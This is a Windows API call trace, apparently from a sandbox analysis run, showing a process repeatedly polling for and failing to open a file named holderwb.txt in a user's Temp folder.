	[0099.628] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.628] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.628] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.629] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.630] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.630] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.630] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.630] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.630] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.630] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.630] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.631] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.631] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.631] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.632] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.632] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.632] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.632] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.633] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.633] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.633] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.634] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.634] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.635] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.635] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.635] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.636] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.637] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.637] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.637] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.637] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.639] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.639] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.640] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.641] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.641] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.641] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.643] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.643] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.643] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.644] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.644] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.645] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.645] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.645] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.645] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.645] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.647] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.647] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.647] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.647] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.649] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.649] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.649] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.649] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.649] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.650] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.651] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.651] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.651] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.651] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.651] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.775] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.775] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.776] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.776] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.776] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.776] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.777] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.777] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.777] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.777] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.777] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.777] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.777] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.778] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.778] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.778] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.778] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.778] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.779] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.779] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.779] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.779] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.779] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.780] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.780] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.780] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0099.780] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0099.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0099.781] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0099.781] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0099.781] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0099.781] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0099.781] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0099.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0099.781] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0099.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
